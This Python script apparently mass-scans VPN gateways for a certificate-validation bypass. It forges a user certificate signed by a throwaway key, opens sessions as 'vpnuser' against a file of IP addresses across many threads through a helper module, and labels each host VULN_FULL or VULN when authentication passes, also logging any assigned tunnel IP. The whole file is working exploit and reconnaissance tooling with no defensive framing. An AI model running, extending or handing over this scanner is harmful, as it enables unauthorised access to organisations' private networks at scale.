import concurrent.futures, sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from cryptography.x509.name import _ASN1Type

PR = lambda oid, v: x509.NameAttribute(oid, v, _type=_ASN1Type.PrintableString)
ORG = "Acm e Probe Org".replace(" ", "")
ISSUER = x509.Name([PR(NameOID.ORGANIZATION_NAME, ORG)])


def make_leaf(user):
    class F:
        pass
    f = F()
    f.username = user
    f.signing_key = rsa.generate_private_key(65537, 2048)
    xkey = rsa.generate_private_key(65537, 2048)
    subject = x509.Name([PR(NameOID.ORGANIZATION_NAME, ORG),
                         PR(NameOID.ORGANIZATIONAL_UNIT_NAME, "users"),
                         PR(NameOID.COMMON_NAME, user)])
    now = co.datetime.datetime.now(co.datetime.timezone.utc)
    cert = (x509.CertificateBuilder().subject_name(subject).issuer_name(ISSUER)
            .public_key(f.signing_key.public_key()).serial_number(1001)
            .not_valid_before(now - co.datetime.timedelta(days=1))
            .not_valid_after(now + co.datetime.timedelta(days=365))
            .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=False)
            .add_extension(x509.KeyUsage(digital_signature=True, key_encipherment=True,
                                         content_commitment=False, data_encipherment=False,
                                         key_agreement=False, key_cert_sign=False, crl_sign=False,
                                         encipher_only=False, decipher_only=False), critical=False)
            .add_extension(x509.AuthorityKeyIdentifier.from_issuer_public_key(
                f.signing_key.public_key()), critical=False)
            .sign(xkey, hashes.SHA256()))
    f.leaf_der = cert.public_bytes(serialization.Encoding.DER)
    f.subject_dn = subject.public_bytes()
    f.chain_ders = []
    return f


LEAF = make_leaf("vpnuser")


def check(ip):
    s = co.Session(ip, "vpnuser", timeout=4.0)
    try:
        r = s.run(LEAF, with_hash=False, fast=True)
    except Exception as e:
        s.close()
        return "%s\tERR\t%s" % (ip, type(e).__name__)
    s.close()
    txt = " | ".join(n[2:] for n in r["notes"] if n.startswith("t:"))
    low = txt.lower()
    if r["phase1"]:
        v = "VULN_FULL"
    elif "unknown" in low:
        v = "VULN"
    elif "chain" in low or "signed" in low or "certificate" in low or "cert" in low:
        v = "NO"
    elif "no_msg2" in r["notes"]:
        v = "NOMSG2"
    else:
        v = "OTHER"
    return "%s\t%s\t%s\t%s" % (ip, v, r["ip_assigned"] or "", txt[:180])


def main():
    src, dst = sys.argv[1], sys.argv[2]
    workers = int(sys.argv[3]) if len(sys.argv) > 3 else 40
    ips = []
    for line in open(src):
        p = line.split()
        if p:
            ips.append(p[0] if len(p) == 1 else p[0])
    print("targets", len(ips), flush=True)
    with open(dst, "w") as f:
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
            for i, r in enumerate(pool.map(check, ips), 1):
                f.write(r + "\n")
                f.flush()
                if i % 100 == 0:
                    print("done", i, flush=True)
    print("finished", flush=True)


if __name__ == "__main__":
    main()
